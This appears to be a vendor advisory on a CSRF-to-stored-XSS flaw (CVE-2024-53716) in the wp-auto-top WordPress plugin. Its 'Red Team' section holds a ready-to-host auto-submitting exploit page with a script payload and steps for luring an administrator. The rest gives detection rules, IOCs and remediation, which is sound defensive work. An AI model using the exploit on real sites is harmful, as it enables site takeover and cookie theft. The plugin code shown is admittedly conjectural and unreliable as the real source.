CVE-2024-53716

Executive Summary

CVE-2024-53716 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin wp auto top by Overtrue, affecting versions up to and including 2.9.3. The vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, leading to Stored Cross-Site Scripting (XSS). This means an attacker can craft a malicious request that, when executed by an admin, injects persistent JavaScript into the WordPress site. The CVSS score is 7.1 (High), with a low EPSS score of 0.0% indicating low exploitation activity in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since it is a WordPress plugin, it is distributed via the official WordPress plugin repository or third-party sources. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a link or visit a malicious page
• Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. Although EPSS is low, the combination of CSRF and Stored XSS can lead to full site compromise if an admin is tricked.

Deep Dive & Mechanics

The vulnerability resides in the wp-auto-top plugin, which likely handles automatic top posts or similar functionality. The CSRF flaw means that the plugin does not validate or verify the origin of requests when performing state-changing operations (e.g., saving settings, updating options). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin's admin action handler.

Because the plugin also fails to sanitize or escape user input before storing it, the attacker can inject JavaScript payloads into the plugin's settings or database. When the admin or other users view the affected page, the stored XSS executes, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.

Attack Flow:

1. Attacker identifies a vulnerable WordPress site running wp-auto-top <= 2.9.3.
2. Attacker crafts a CSRF exploit (e.g., an HTML form that auto-submits to the plugin's admin-ajax.php or options page).
3. Attacker lures an authenticated admin to visit the malicious page.
4. The admin's browser sends a forged request to the plugin, which stores the attacker's XSS payload.
5. When the admin or other users load the affected page, the XSS payload executes.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The plugin likely has a function like:

// Vulnerable code (wp-auto-top <= 2.9.3)
function save_settings() {
    if ( isset($_POST['wp_auto_top_option']) ) {
        update_option('wp_auto_top_option', $_POST['wp_auto_top_option']);
    }
}
add_action('admin_post_save_wp_auto_top', 'save_settings');

This code lacks a nonce check (check_admin_referer()) and does not sanitize the input (sanitize_text_field()). A patched version would include:

// Patched code (hypothetical)
function save_settings() {
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'wp_auto_top_nonce') ) {
        return;
    }
    if ( isset($_POST['wp_auto_top_option']) ) {
        update_option('wp_auto_top_option', sanitize_text_field($_POST['wp_auto_top_option']));
    }
}
add_action('admin_post_save_wp_auto_top', 'save_settings');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with wp-auto-top <= 2.9.3 installed and activated.
• An authenticated admin user (target).
• Attacker-controlled server to host the CSRF page.

Exploit HTML (csrf_exploit.html):

<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="save_wp_auto_top">
    <input type="hidden" name="wp_auto_top_option" value="<script>alert('XSS')</script>">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>

Steps:

1. Host the HTML file on your server.
2. Send the link to the admin via email or social engineering.
3. Once the admin visits the page, the CSRF executes, storing the XSS payload.
4. The XSS payload will execute when the admin views the plugin settings page.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with action=save_wp_auto_top from unexpected referrers.
• Look for stored XSS indicators in the wp_options table (option name wp_auto_top_option).

Defense:

• Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
• Use Content Security Policy (CSP) headers to mitigate XSS.
• Educate administrators about phishing and CSRF risks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with action=save_wp_auto_top and suspicious payloads.
  • Referrer header from an external domain.
• Host:
  • Modified wp_options table entry: option_name = 'wp_auto_top_option' containing JavaScript.
  • Unexpected JavaScript in plugin settings pages.
• File:
  • No specific file IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2024_53716_CSRF_XSS {
    meta:
        description = "Detects CSRF and Stored XSS in wp-auto-top plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53716"
    strings:
        $csrf_action = "save_wp_auto_top"
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $csrf_action and $xss_payload
}

Sigma Rule

title: CVE-2024-53716 CSRF to Stored XSS in wp-auto-top
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects CSRF attempts targeting wp-auto-top plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=save_wp_auto_top'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-53716 CSRF to Stored XSS in wp-auto-top";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=save_wp_auto_top";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any suspicious options from the database: DELETE FROM wp_options WHERE option_name = 'wp_auto_top_option' AND option_value LIKE '%<script%';
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must release a patched version that includes:
  • Nonce verification (wp_verify_nonce())
  • Input sanitization (sanitize_text_field())
  • Output escaping (esc_html())
• Users should update to the latest version once available.

Workaround:

• Add a custom function to the theme's functions.php to add nonce checks:

add_action('admin_post_save_wp_auto_top', function() {
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'wp_auto_top_nonce') ) {
        wp_die('CSRF detected');
    }
}, 1);

Valters IT – Securing WordPress ecosystems one CVE at a time.